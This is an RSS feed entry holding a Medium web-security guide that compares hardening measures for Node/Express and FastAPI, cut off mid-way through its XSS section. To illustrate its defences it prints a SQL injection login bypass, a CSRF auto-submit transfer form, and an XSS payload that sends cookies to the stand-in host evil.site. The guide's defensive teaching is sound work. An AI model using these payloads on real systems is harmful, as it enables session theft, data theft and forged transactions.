<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Narendran A I on Medium]]></title>
        <description><![CDATA[Stories by Narendran A I on Medium]]></description>
        <link>https://medium.com/@narendran.a.i?source=rss-36a5b0aded55------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*t_csZhR8JSLHVtdU.jpg</url>
            <title>Stories by Narendran A I on Medium</title>
            <link>https://medium.com/@narendran.a.i?source=rss-36a5b0aded55------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 01:10:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@narendran.a.i/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[13 Web Security Concerns, Solved Twice: Node/Express vs Python/FastAPI (2026 Edition)]]></title>
            <link>https://medium.com/@narendran.a.i/13-web-security-concerns-solved-twice-node-express-vs-python-fastapi-2026-edition-a3ea00b7ede8?source=rss-36a5b0aded55------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3ea00b7ede8</guid>
            <category><![CDATA[fastapi]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[expressjs]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Narendran A I]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 17:31:54 GMT</pubDate>
            <atom:updated>2026-07-14T17:31:54.447Z</atom:updated>
            <content:encoded><![CDATA[<p>A side-by-side field guide to hardening a modern API — with the current best-in-class package for each concern, verified against OWASP and the 2026 ecosystem, plus copy-paste code for both stacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y--NYh39IrnR8tHrMJbTPA.png" /></figure><p>Every backend engineer eventually inherits the same checklist: TLS, auth, hashing, CORS, headers, rate limits, validation, injection, CSRF, XSS, secrets, logging, and dependency hygiene. The concepts are identical across languages — but the <em>libraries</em> drift constantly, and half the tutorials online still recommend packages that have been <strong>archived or deprecated</strong> (looking at you, csurf and bleach).</p><p>This post does three things:</p><ol><li>Gives you a <strong>single reference table</strong> mapping all 13 concerns to the recommended 2026 package for <strong>Node/Express</strong> and <strong>Python/FastAPI</strong>.</li><li>Explains <strong>each concern</strong> — what the attack is and why the mitigation works.</li><li>Ships <strong>one complete, commented, runnable app per stack</strong> implementing every row, plus a one-line install command.</li></ol><blockquote><em>A note on selection: for each concern I compared the popular choices with what’s actually current. Where the old default is deprecated, I say so and pick the maintained replacement. The “Best pick” column is what I’d reach for on a new project today.</em></blockquote><h3>The master table</h3><figure><img alt="A table of all security concerns and thier solutions" src="https://cdn-images-1.medium.com/max/1024/1*58teBeF3UntsX9whEfFqWg.png" /></figure><p><strong>Things worth flagging in this table</strong></p><ul><li><strong>csurf is dead.</strong> The Express team formally deprecated it in 2025; it&#39;s archived and unmaintained. Use <strong>csrf-csrf</strong> (stateless double-submit) or <strong>csrf-sync</strong> (session-based).</li><li><strong>bleach is dead.</strong> Deprecated in 2023. Its maintained successor is <strong>nh3</strong>, a binding to the Rust ammonia sanitizer — faster and safer.</li><li><strong>Argon2id overtook bcrypt</strong> as OWASP’s default recommendation for new systems (memory-hard, GPU-resistant). bcrypt is still fine if you’re already on it, but new code should default to Argon2id.</li><li><strong>There is no Helmet for FastAPI.</strong> You set security headers with a small middleware (shown below) or the secure library. Don&#39;t assume a framework default exists.</li></ul><h3>Concern-by-concern</h3><blockquote><em>Each section below is written to stand on its own: what the attack actually is, a concrete walkthrough of how it plays out, why the recommended fix defeats it, the tradeoffs and parameters that matter, and the mistakes that quietly leave you exposed even after you “added security.” Read start to finish and you’ll have a working mental model for each of the thirteen, not just a package name.</em></blockquote><h3>1. HTTPS / TLS</h3><p><strong>Defends against:</strong> Eavesdropping, MITM, token theft in transit.</p><p><strong>What the attack is.</strong> HTTP sends everything as plaintext bytes over the network. Every device between the user and your server — the coffee-shop Wi-Fi access point, a compromised home router, the ISP, a rogue node on the path, anyone running a packet sniffer on the same network segment — can read and modify those bytes. There is no envelope; it’s a postcard. A “man-in-the-middle” (MITM) attacker doesn’t just read the postcard, they can rewrite it: inject a &lt;script&gt; into an HTML response, swap a bank account number in a form, or strip out your security headers.</p><p><strong>How it plays out.</strong> A user logs into your app on public Wi-Fi. Over plain HTTP, their email and password travel in the clear inside the POST body, and your server hands back a session cookie or JWT — also in the clear. The attacker on the same network captures the cookie and replays it from their own machine. They’re now logged in as the user, no password required. This is the classic “sidejacking” attack that tools like Firesheep demonstrated a decade ago, and it still works against any endpoint served over HTTP.</p><p><strong>Why TLS fixes it.</strong> TLS (Transport Layer Security — the “S” in HTTPS) does three things at once. <strong>Encryption</strong> turns the postcard into a sealed, unreadable stream so on-path devices see only ciphertext. <strong>Integrity</strong> attaches a message authentication code so any tampering is detected and the connection is torn down. <strong>Authentication</strong> uses a certificate signed by a Certificate Authority (CA) that the browser trusts, proving the server is really example.com and not an impostor — this is what defeats MITM. The handshake negotiates a fresh symmetric key per session, so even capturing the whole conversation yields nothing.</p><p><strong>How you actually deploy it.</strong> You almost never terminate TLS inside your Node or Python process. Instead you terminate at the edge:</p><ul><li><strong>A reverse proxy</strong> — <strong>Caddy</strong> (auto-provisions and renews Let’s Encrypt certificates with literally zero config), or <strong>Nginx</strong>/<strong>Traefik</strong> with Certbot. The proxy handles TLS, then forwards plain HTTP to your app on localhost.</li><li><strong>A managed platform</strong> — Vercel, Fly.io, Render, or a cloud load balancer (AWS ALB, GCP LB) that provisions and rotates certs for you.</li></ul><p>Then two non-negotiable follow-ups: <strong>redirect all HTTP to HTTPS</strong> (a 301), and enable <strong>HSTS</strong> (the Strict-Transport-Security header, covered in §5) so the browser refuses to ever downgrade to HTTP for your domain again — this closes the &quot;SSL-strip&quot; window where an attacker forces the very first request onto HTTP before the redirect fires.</p><p><strong>Tradeoffs and gotchas.</strong></p><ul><li><strong>Don’t hand-roll TLS in app code.</strong> Loading a .pem into Node&#39;s https module works, but you then own cert renewal, cipher-suite configuration, OCSP stapling, and TLS-version policy — all of which a proxy does better and keeps patched.</li><li><strong>Mixed content silently breaks you.</strong> If your HTTPS page loads any http:// script/image, browsers block or warn; worse, an http:// asset is an injection point. Serve everything over HTTPS.</li><li><strong>Certificate expiry is the #1 real-world TLS outage.</strong> Automate renewal (Caddy/Certbot do) and alert on it.</li><li><strong>Internal traffic matters too.</strong> “TLS at the edge, plaintext behind it” is fine only if the internal network is trusted. In zero-trust setups, use mTLS between services.</li></ul><h3>2. Authentication (JWT)</h3><p><strong>Defends against:</strong> Impersonation, unauthorized access.</p><p><strong>What the problem is.</strong> HTTP is stateless — every request arrives with no memory of the last one. So on each request your server must answer “who is this, and have they proven it?” Authentication is proving identity (login); authorization is deciding what that identity may do. Get authentication wrong and anyone can <em>become</em> anyone.</p><p><strong>Where JWTs fit.</strong> A JSON Web Token is a self-contained, signed credential. It has three base64url parts separated by dots: a <strong>header</strong> ({&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}), a <strong>payload</strong> of claims ({&quot;sub&quot;:&quot;user-42&quot;,&quot;exp&quot;:1712345678,&quot;aud&quot;:&quot;app&quot;,&quot;iss&quot;:&quot;api.example.com&quot;}), and a <strong>signature</strong>. The server signs the header+payload with a secret (HS256, symmetric) or a private key (RS256/ES256, asymmetric). On each later request the server recomputes the signature and, if it matches, trusts the claims <em>without a database lookup</em>. That statelessness is the appeal: any instance in a cluster can verify a token independently.</p><p><strong>How it plays out — the right way.</strong> User logs in with email + password; you verify the password hash (§3), then issue a short-lived <strong>access token</strong> (say 15 minutes) and a longer-lived <strong>refresh token</strong>. The client sends the access token as Authorization: Bearer &lt;token&gt; on each request. Your middleware verifies the signature, checks exp (not expired), aud (intended for this API), and iss (issued by you), then attaches the user to the request. When the access token expires, the client uses the refresh token to get a new one.</p><p><strong>The ways JWT auth gets broken (and how to prevent each).</strong></p><ul><li><strong>The </strong><strong>alg: none attack.</strong> Early libraries honored a token that declared &quot;alg&quot;:&quot;none&quot; and skipped signature verification entirely — instant forgery. <strong>Fix:</strong> pin the allowed algorithm explicitly on verify (algorithms: [&quot;HS256&quot;]); never trust the header&#39;s alg.</li><li><strong>Algorithm confusion (RS256 → HS256).</strong> If your server verifies with the <em>public</em> key but a library lets an attacker send an HS256 token, the attacker signs with the public key (which is public) and it validates. <strong>Fix:</strong> again, pin the algorithm; keep signing keys and verification keys unambiguous.</li><li><strong>Weak or leaked HMAC secret.</strong> HS256 with a short secret is brute-forceable offline. <strong>Fix:</strong> use a long, random secret from a secret manager (§11), or use RS256/ES256 with a real keypair.</li><li><strong>No expiry / no revocation.</strong> JWTs are valid until they expire, and you can’t easily revoke a stolen one. <strong>Fix:</strong> keep access tokens short-lived; maintain a refresh-token rotation scheme and a denylist for logout/compromise; consider jti (token id) tracking for revocation.</li><li><strong>Storing tokens in </strong><strong>localStorage.</strong> Any XSS (§10) can read localStorage and exfiltrate the token. <strong>Fix:</strong> prefer an <strong>httpOnly, Secure, SameSite</strong> cookie (JS can&#39;t read it) or keep the access token in memory only; never in localStorage if you can avoid it.</li></ul><p><strong>Library picks.</strong> Node: <strong>jose</strong> (modern, typed, ESM, supports JWS/JWE/JWKS) is the current best; jsonwebtoken is still fine and battle-tested. Python: <strong>PyJWT</strong> for simple signing/verification, or <strong>Authlib</strong> when you need full OAuth2/OIDC flows. For a whole auth system rather than raw tokens, consider Auth.js (Node) or fastapi-users (Python), or a managed provider (Clerk, Auth0, Cognito) — offloading auth to specialists is a legitimate and often wiser choice.</p><p><strong>Sessions vs. JWTs — a fair note.</strong> JWTs aren’t automatically the right answer. Classic server-side <strong>sessions</strong> (an opaque session id in an httpOnly cookie, state in Redis) are simpler to revoke, don’t leak claims, and are perfectly scalable with a shared store. Use JWTs when you genuinely need stateless verification across services; use sessions when you want easy revocation and less footgun surface.</p><h3>3. Password hashing</h3><p><strong>Defends against:</strong> Credential theft after a DB breach.</p><p><strong>What the attack is.</strong> Assume, pessimistically, that your database <em>will</em> leak someday — via SQL injection (§8), a misconfigured backup, an insider, or a cloud bucket left public. The question is what the attacker gets when they read your users table. If passwords are plaintext, it&#39;s game over instantly, and because people reuse passwords, you&#39;ve just compromised their email, bank, and everything else too. If passwords are &quot;encrypted,&quot; it&#39;s nearly as bad — encryption is reversible, so whoever has the key (also probably in the breach) can decrypt them all.</p><p><strong>Why fast hashes are not enough.</strong> Hashing is one-way, which is the right idea — you store hash(password) and compare hashes at login, never storing the password itself. But general-purpose hashes like MD5, SHA-1, and SHA-256 are designed to be <em>fast</em>, and speed is the enemy here. A modern GPU computes billions of SHA-256 hashes per second. Attackers precompute enormous <strong>rainbow tables</strong> or just brute-force common passwords in minutes. Fast hashing barely slows them down.</p><p><strong>The two properties you actually need.</strong></p><ol><li><strong>Slowness (work factor).</strong> A password hash should be deliberately expensive — tuned so a single hash takes ~200–400ms on your server. That’s invisible to a legitimate user logging in once, but it turns an attacker’s “billions per second” into “a handful per second,” making large-scale cracking economically infeasible.</li><li><strong>A unique per-password salt.</strong> A salt is random data mixed into each password before hashing and stored alongside the hash. It ensures two users with the same password get different hashes, which defeats rainbow tables and stops an attacker from cracking many accounts at once. Modern libraries generate and manage salts for you automatically.</li></ol><p><strong>Argon2id — the current default.</strong> Argon2 won the Password Hashing Competition in 2015 and its <strong>Argon2id</strong> variant is now OWASP’s #1 recommendation for new systems. Its key advantage is being <strong>memory-hard</strong>: it deliberately consumes a lot of RAM per hash. Attackers can cheaply buy thousands of GPU cores, but giving each core enough fast RAM is expensive and hard — so memory-hardness attacks the economics of cracking directly. Argon2id is a hybrid that resists both GPU brute force and side-channel timing attacks. OWASP’s starting parameters: <strong>memory 19 MiB (many use 64 MiB), 2 iterations, parallelism 1</strong> — then tune upward until a hash takes 200–400ms on your hardware.</p><p><strong>bcrypt — still acceptable.</strong> bcrypt (from 1999, based on Blowfish) remains cryptographically sound at <strong>cost factor ≥ 12</strong> and is a fine choice if you’re already on it or in a memory-constrained/serverless environment where its predictable ~1MB footprint is a plus. Two caveats: it’s CPU-hard but <em>not</em> memory-hard, and it silently truncates input at <strong>72 bytes</strong> (so a very long passphrase’s tail isn’t protected — enforce a max length or pre-hash). scrypt and PBKDF2 are also acceptable (PBKDF2 specifically where FIPS compliance is required), but for greenfield work, default to Argon2id.</p><p><strong>How it plays out in practice.</strong> At registration: hash = argon2.hash(password) → store hash (the encoded string already contains the algorithm, parameters, and salt). At login: argon2.verify(stored_hash, submitted_password) returns true/false in constant time. Never write your own hashing; never log the plaintext, even transiently.</p><p><strong>Gotchas.</strong></p><ul><li><strong>Timing attacks on “user not found.”</strong> If a wrong password returns fast but a nonexistent user returns even faster, you leak which emails are registered. Run the verify (or a dummy verify) in both branches so responses take similar time.</li><li><strong>Peppering (advanced).</strong> A “pepper” is a secret added to all passwords, stored outside the DB (in a secret manager). It means a DB-only leak still can’t crack hashes. Adds operational complexity (rotation) — use for high-value systems.</li><li><strong>Re-hash on login when you raise parameters.</strong> Libraries expose a “needs rehash” check; upgrade a user’s hash transparently when they next log in.</li></ul><h3>4. CORS</h3><p><strong>Defends against:</strong> Malicious cross-origin reads.</p><p><strong>What CORS actually is (and isn’t).</strong> The browser’s <strong>Same-Origin Policy (SOP)</strong> is a foundational rule: JavaScript running on https://evil.site cannot read the <em>response</em> of a request made to https://api.example.com (a different origin). This stops a malicious page from silently calling your API using the victim&#39;s logged-in session and reading back their private data. <strong>CORS (Cross-Origin Resource Sharing)</strong> is the controlled, opt-in mechanism to <em>relax</em> SOP for origins you trust — your own frontend on a different domain, say. So CORS is not a firewall you add for protection; it&#39;s a way to <em>loosen</em> a protection the browser already gives you. Misconfiguring it means loosening too much.</p><p><strong>How it works under the hood.</strong> When your frontend JS makes a cross-origin request, the browser adds an Origin: https://app.example.com header. Your server responds with Access-Control-Allow-Origin naming which origins are permitted. For anything beyond simple GET/POST (custom headers, PUT/DELETE, JSON content-type), the browser first sends a <strong>preflight</strong> OPTIONS request asking &quot;am I allowed to do this?&quot;; your server answers with the allowed methods/headers, and only then does the real request go. If credentials (cookies) are involved, the server must also send Access-Control-Allow-Credentials: true — and critically, the spec forbids combining that with a wildcard origin.</p><p><strong>How it gets misconfigured — the real risks.</strong></p><ul><li><strong>Access-Control-Allow-Origin: * with credentials.</strong> The dangerous pattern is reflecting the request&#39;s Origin back <em>and</em> allowing credentials, which effectively lets any site make authenticated calls and read the response. <strong>Fix:</strong> never use * when cookies/credentials are in play; use an explicit allowlist.</li><li><strong>Reflecting Origin without validation.</strong> Some servers echo whatever Origin came in. That&#39;s a wildcard in disguise. <strong>Fix:</strong> check the incoming origin against a fixed allowlist and only then echo it.</li><li><strong>Over-broad allowlists.</strong> Allowing *.example.com when a subdomain can be taken over (subdomain takeover) hands an attacker a valid origin.</li></ul><p><strong>The correct configuration.</strong> An explicit list of exact origins, credentials enabled only if you truly use cookies, and restricted methods/headers. Express uses the cors middleware; FastAPI ships CORSMiddleware. Both are shown in the code apps below.</p><p><strong>Gotcha to internalize.</strong> CORS errors are enforced by the <em>browser</em>, not your server — a non-browser client (curl, a mobile app, a server-to-server call) ignores CORS entirely. So CORS is <strong>not</strong> an authentication or authorization mechanism. It only governs what <em>browser JS on other origins</em> can read. Your real access control still lives in auth (§2) and server-side authorization checks.</p><h3>5. Security headers</h3><p><strong>Defends against:</strong> Clickjacking, MIME sniffing, protocol downgrade, injection.</p><p>Security headers are cheap, high-leverage instructions you send with every response telling the browser to behave defensively. Four carry most of the weight:</p><ul><li><strong>Strict-Transport-Security (HSTS)</strong> — <em>defeats protocol downgrade / SSL-strip.</em> Tells the browser &quot;for the next N seconds, only ever talk to this domain over HTTPS, no exceptions.&quot; After the first visit, the browser upgrades every request to HTTPS <em>before</em> it leaves the machine, closing the window where an attacker intercepts the initial plaintext request and prevents the redirect. Use max-age=31536000; includeSubDomains; preload (a year, all subdomains, and eligibility for the browser preload list that bakes it in from the very first visit). Caveat: it&#39;s sticky — don&#39;t enable preload/includeSubDomains until every subdomain is HTTPS-ready.</li><li><strong>X-Frame-Options: DENY (and its modern successor, CSP&#39;s </strong><strong>frame-ancestors)</strong> — <em>defeats clickjacking.</em> Clickjacking is when an attacker loads your site in an invisible iframe layered under a decoy (&quot;Click to win!&quot;), so the victim&#39;s click actually lands on your &quot;Delete account&quot; or &quot;Transfer funds&quot; button. Telling the browser your site may not be framed (or only by yourself) neutralizes it. frame-ancestors &#39;self&#39; in CSP is the more flexible, current form.</li><li><strong>X-Content-Type-Options: nosniff</strong> — <em>defeats MIME sniffing.</em> Browsers historically &quot;sniffed&quot; a response&#39;s content and sometimes executed a file you served as plain text or an image as if it were JavaScript. If an attacker can upload a file that gets sniffed into executable script, that&#39;s XSS. nosniff forces the browser to respect your declared Content-Type, full stop.</li><li><strong>Content-Security-Policy (CSP)</strong> — <em>the big one; defeats most XSS and data injection.</em> CSP is an allowlist for where content may come from: script-src &#39;self&#39; means &quot;only run JavaScript served from my own origin,&quot; so an injected inline &lt;script&gt; or a script from evil.site simply won&#39;t execute. A strong CSP is the single most effective backstop against XSS (§10). It&#39;s also the fiddliest to deploy — start in Content-Security-Policy-Report-Only mode, collect violation reports, tighten iteratively, and avoid &#39;unsafe-inline&#39;/&#39;unsafe-eval&#39; (use nonces or hashes for any inline scripts you truly need).</li></ul><p>Other useful ones: Referrer-Policy (control how much URL info leaks to other sites), Permissions-Policy (disable camera/mic/geolocation you don&#39;t use), and Cross-Origin-Opener-Policy/Cross-Origin-Resource-Policy for cross-origin isolation.</p><p><strong>Tooling.</strong> Express: <strong>helmet</strong> sets sane defaults for all of the above in one line and is the standard. FastAPI has <strong>no Helmet equivalent</strong> — you add a small middleware that sets the headers explicitly (shown below) or use the secure library. Don&#39;t assume the framework does this for you; by default it does not. Verify your headers with a scanner like securityheaders.com or Mozilla Observatory after deploy.</p><h3>6. Rate limiting</h3><p><strong>Defends against:</strong> Brute force, credential stuffing, DoS, cost abuse.</p><p><strong>What it defends.</strong> Without a cap on how often a client can hit an endpoint, several attacks become trivial. <strong>Brute force:</strong> hammering /login with password guesses until one works. <strong>Credential stuffing:</strong> replaying millions of email/password pairs leaked from <em>other</em> breaches, since people reuse credentials. <strong>Scraping/enumeration:</strong> walking /users/1, /users/2… to harvest data. <strong>DoS:</strong> flooding an expensive endpoint to exhaust CPU/DB/connections. <strong>Cost abuse:</strong> spamming an endpoint that calls a paid API (an LLM, SMS, email) to run up your bill. Rate limiting caps requests per identity (IP, user, API key) per time window and rejects the overflow with <strong>HTTP 429 Too Many Requests</strong>.</p><p><strong>How to think about the algorithm.</strong> The common strategies: <strong>fixed window</strong> (N requests per calendar minute — simple but allows bursts at window boundaries), <strong>sliding window</strong> (smooths that burst by looking at a rolling interval), and <strong>token bucket / leaky bucket</strong> (a bucket refills at a steady rate; each request spends a token — allows controlled bursts while enforcing an average rate). Token bucket is the most flexible for APIs; fixed/sliding window is fine for login throttling.</p><p><strong>The single most important implementation detail: shared state.</strong> An in-memory rate limiter counts requests <em>per process</em>. The moment you run more than one instance behind a load balancer (which every real deployment does), each instance has its own counter, so your “100/min” limit becomes “100/min × number of instances,” and it resets whenever a process restarts. <strong>You must back the limiter with a shared store — Redis.</strong> Then all instances enforce one global limit.</p><p><strong>Layering.</strong> Apply a strict limit on sensitive endpoints (login, password reset, signup, payment) and a looser global limit everywhere. Key by user id when authenticated and by IP when not — but remember IPs are shared (corporate NAT, mobile carriers) and spoofable via X-Forwarded-For unless you trust your proxy, so validate that header. For serious DoS, rate limiting at the app is a backstop; the real defense is upstream (Cloudflare, a WAF, the load balancer).</p><p><strong>Tooling.</strong> Node: <strong>express-rate-limit + </strong><strong>rate-limit-redis</strong> (or rate-limiter-flexible for token-bucket sophistication). FastAPI: <strong>fastapi-limiter</strong> (async, Redis-backed) or <strong>slowapi</strong> for simple single-instance cases. Return a Retry-After header so well-behaved clients back off.</p><p><strong>Gotcha.</strong> Don’t rate-limit yourself into a UX disaster — legitimate retry storms (a flaky network, an aggressive SPA) can trip limits. Set limits from real traffic data, return clear 429s, and monitor how often you’re limiting so you can tell an attack from a misconfiguration.</p><h3>7. Input validation</h3><p><strong>Defends against:</strong> Malformed/malicious payloads, type confusion.</p><p><strong>The core principle.</strong> Every byte that arrives from outside your system — request bodies, query strings, path params, headers, uploaded files, webhook payloads, even data from another internal service — is <strong>untrusted until proven otherwise</strong>. Input validation is the discipline of checking, at the boundary, that incoming data matches an exact expected shape and rejecting anything that doesn’t, <em>before</em> that data touches your business logic, your database, or your templates. It’s the first line that makes many other attacks (injection, type confusion, mass assignment, DoS-by-huge-payload) much harder.</p><p><strong>What “validate” actually means.</strong> It’s more than “is this field present.” A real validation schema asserts: the correct <strong>type</strong> (this is a string, that is an integer), <strong>format</strong> (a valid email, a UUID, an ISO date), <strong>range/length</strong> (password 12–128 chars, age 0–150, array ≤ 100 items), <strong>allowed set</strong> (status ∈ {pending, active, archived}), and <strong>required vs optional</strong>. Anything failing gets rejected with a clear <strong>422 Unprocessable Entity</strong> and field-level errors — you never “coerce and hope.”</p><p><strong>Why it prevents whole classes of bugs.</strong></p><ul><li><strong>Type confusion:</strong> many injection and logic bugs start with a field being a type you didn’t expect (an object where you expected a string, an array where you expected a scalar). Strict typing kills these.</li><li><strong>Mass assignment / over-posting:</strong> if you blindly spread request body into a DB model, an attacker adds &quot;isAdmin&quot;: true and escalates. Validating against an explicit allowlist schema (only the fields you intend) prevents it.</li><li><strong>Resource-exhaustion DoS:</strong> an unbounded string or array or a 500MB JSON body can OOM your process. Length/size caps and a body-size limit stop it.</li></ul><p><strong>Where validation is <em>not</em> enough.</strong> Validation confirms <em>shape</em>; it does not make a value safe to <em>use</em> in every context. A perfectly valid string is still dangerous if you concatenate it into SQL (§8) or render it into HTML (§10). Validation is necessary but works <em>alongside</em> parameterized queries and output encoding, which are context-specific defenses. Think: validate on the way in, encode/parameterize on the way out.</p><p><strong>Tooling.</strong> Node: <strong>zod</strong> is the current best — you define one schema and get both runtime validation <em>and</em> the inferred TypeScript type, so your types and your checks can&#39;t drift apart (valibot is a lighter alternative if bundle size is critical; joi and express-validator remain valid). FastAPI: <strong>Pydantic v2</strong> does this natively and is a core reason to use FastAPI — declare a model, and invalid bodies are rejected with a structured 422 automatically before your handler runs, with a Rust core for speed.</p><h3>8. SQL injection</h3><p><strong>Defends against:</strong> DB read/write/exfiltration via crafted input.</p><p><strong>What the attack is.</strong> SQL injection (SQLi) happens when user input is glued directly into a SQL string, so the input can break out of its intended “value” slot and become executable SQL <em>command</em>. It’s consistently one of the most damaging web vulnerabilities because a single injectable query can dump your entire database, modify data, or in some configurations run OS commands.</p><p><strong>A concrete walkthrough.</strong> Suppose a login builds SQL like this:</p><pre>&quot;SELECT * FROM users WHERE email = &#39;&quot; + email + &quot;&#39; AND password = &#39;&quot; + pw + &quot;&#39;&quot;</pre><p>An attacker submits the email &#39; OR &#39;1&#39;=&#39;1&#39; -- . The query becomes:</p><pre>SELECT * FROM users WHERE email = &#39;&#39; OR &#39;1&#39;=&#39;1&#39; -- &#39; AND password = &#39;...&#39;</pre><p>&#39;1&#39;=&#39;1&#39; is always true, and -- comments out the rest, so the WHERE matches every row and the attacker logs in as the first user (often the admin). Nastier payloads use UNION SELECT to pull data from other tables (UNION SELECT credit_card, cvv FROM payments), or <strong>blind SQLi</strong> that infers data one bit at a time from timing or boolean differences when no output is shown, or stacked queries that DROP TABLE. Automated tools like sqlmap make exploiting an injectable parameter push-button.</p><p><strong>Why the fix works.</strong> The root cause is <strong>mixing code and data in the same string</strong>. The fix is to keep them separate using <strong>parameterized queries</strong> (a.k.a. prepared statements). You write the query with placeholders and pass the values separately:</p><pre>db.query(&quot;SELECT * FROM users WHERE email = $1 AND password = $2&quot;, [email, pw])</pre><p>The database driver sends the query <em>structure</em> and the <em>values</em> over separate channels. The value &#39; OR &#39;1&#39;=&#39;1 is now treated as a literal string to compare against the email column — it can never become SQL syntax. There&#39;s no escaping to get right, no edge case to miss; the data simply can&#39;t be parsed as code. This is the same &quot;treat input as inert data, not instructions&quot; idea behind the parameter capsule.</p><p><strong>How you get this for free.</strong> Use an <strong>ORM or query builder</strong> that parameterizes by default: <strong>Prisma</strong> or <strong>Drizzle</strong> (Node), <strong>SQLAlchemy 2.0</strong> or SQLModel (Python). Their normal query methods are safe automatically. The danger reappears only when you drop to <strong>raw SQL</strong> — and even then, every one of these lets you pass bound parameters, so use them. Never build SQL with string concatenation or template literals containing user input, <em>ever</em>, even for “internal” or “admin-only” queries.</p><p><strong>Gotchas and depth.</strong></p><ul><li><strong>ORMs don’t make you immune.</strong> Raw-query escape hatches (prisma.$queryRawUnsafe, SQLAlchemy text() with f-strings) reintroduce injection. Use the parameterized variants.</li><li><strong>Injection isn’t only SQL.</strong> The same class of bug exists for NoSQL (MongoDB operator injection like {&quot;$gt&quot;: &quot;&quot;}), OS commands, LDAP, and XPath. The universal fix is the same: separate code from data, and validate/allowlist input.</li><li><strong>Defense in depth:</strong> least-privilege DB accounts (your app user shouldn’t be able to DROP TABLE or read other schemas), and input validation (§7) to reject obviously wrong shapes, both reduce blast radius if something slips through.</li></ul><h3>9. CSRF</h3><p><strong>Defends against:</strong> Forged state-changing requests using a victim’s cookies.</p><p><strong>What the attack is.</strong> Cross-Site Request Forgery abuses the browser’s habit of <strong>automatically attaching cookies</strong> to any request to a domain, regardless of what site initiated it. If your app authenticates with a session cookie, then when the victim’s browser sends a request to your app, the cookie rides along — even if a completely different, malicious site triggered that request. CSRF tricks the victim’s browser into making a state-changing request (transfer money, change email, delete account) that your server can’t distinguish from a legitimate one, because it carries the victim’s valid cookie.</p><p><strong>A concrete walkthrough.</strong> The victim is logged into bank.example.com (session cookie set). They visit evil.site, which contains:</p><pre>&lt;form action=&quot;https://bank.example.com/transfer&quot; method=&quot;POST&quot; id=&quot;f&quot;&gt;<br>  &lt;input name=&quot;to&quot; value=&quot;attacker&quot;&gt;&lt;input name=&quot;amount&quot; value=&quot;5000&quot;&gt;<br>&lt;/form&gt;<br>&lt;script&gt;document.getElementById(&#39;f&#39;).submit()&lt;/script&gt;</pre><p>The page auto-submits the form. The browser dutifully attaches the bank.example.com session cookie, the server sees a valid authenticated POST, and the transfer executes. The victim never clicked anything meaningful. Image tags, hidden forms, and fetch can all be vectors.</p><p><strong>Why the fixes work.</strong> The server needs a way to confirm the request came from <em>its own frontend</em>, not a third-party site — something the attacker’s page can’t supply.</p><ul><li><strong>Synchronizer / double-submit tokens.</strong> The server issues a random, unpredictable <strong>CSRF token</strong> tied to the session and requires it back on every state-changing request (in a header or form field). The attacker’s cross-site page can’t read your token (Same-Origin Policy blocks it), so the forged request lacks a valid token and is rejected. The <strong>double-submit</strong> variant stores the token in a cookie <em>and</em> requires it echoed in a header; since JS from another origin can’t read your cookie to echo it, the forgery fails — and it needs no server-side session state.</li><li><strong>SameSite cookies.</strong> Setting SameSite=Lax (or Strict) on your session cookie tells the browser <em>not</em> to send it on cross-site requests, which blocks the classic CSRF vector at the browser level. Lax is a sensible default (allows top-level navigations); Strict is tighter but can surprise users following links. This is a strong baseline, but combine it with tokens for defense in depth, since SameSite support and edge cases vary.</li></ul><p><strong>Tooling and the deprecation you must know.</strong> Node: <strong>csrf-csrf</strong> (stateless double-submit) or csrf-sync (session-based). ⚠️ <strong>csurf is deprecated and archived — do not use it.</strong> FastAPI: <strong>fastapi-csrf-protect</strong> (double-submit) or starlette-csrf.</p><p><strong>When you can relax.</strong> A <strong>pure token-in-header API</strong> (no cookies — the client sends Authorization: Bearer and JS explicitly attaches it) is largely immune to CSRF, because the attacker&#39;s page can&#39;t set that header cross-origin and there&#39;s no ambient cookie to abuse. CSRF specifically bites <strong>cookie-based</strong> authentication. If you use cookies for auth at all, you need CSRF protection.</p><h3>10. XSS</h3><p><strong>Defends against:</strong> Script injection into pages / other users’ sessions.</p><p><strong>What the attack is.</strong> Cross-Site Scripting is when attacker-controlled content gets rendered into a page and the browser executes it as JavaScript in the context of <em>your</em> origin. Once an attacker runs JS on your page, they can do anything the user can: steal the session cookie or token, read and exfiltrate data on the page, make authenticated requests as the user, keylog a login form, or deface the UI. Because the script runs with your site’s privileges, XSS is effectively “remote code execution in the victim’s browser for your domain.”</p><p><strong>The three flavors.</strong></p><ul><li><strong>Stored (persistent) XSS</strong> — the payload is saved server-side (a comment, a profile bio, a product review) and served to <em>everyone</em> who views it. Most dangerous, because it’s a self-spreading trap.</li><li><strong>Reflected XSS</strong> — the payload is in a request (a search query, a URL param) and echoed straight back into the response. Delivered via a crafted link the victim clicks.</li><li><strong>DOM-based XSS</strong> — the vulnerability is entirely client-side: JS reads from location.hash/document.URL and writes it into the DOM with innerHTML, executing injected markup without the server ever seeing it.</li></ul><p><strong>A concrete walkthrough.</strong> A comment field lets users post text that’s rendered as raw HTML. An attacker posts:</p><pre>&lt;script&gt;fetch(&#39;https://evil.site/steal?c=&#39;+document.cookie)&lt;/script&gt;</pre><p>Every user who loads that comment thread runs the script, shipping their cookies to the attacker. Variations avoid literal &lt;script&gt; using event handlers (&lt;img src=x onerror=...&gt;), so blocklisting tags is a losing game.</p><p><strong>Why the fixes work — three layers.</strong></p><ol><li><strong>Output encoding / autoescaping (the primary defense).</strong> Render untrusted data as <em>text</em>, not markup, by escaping HTML-special characters: 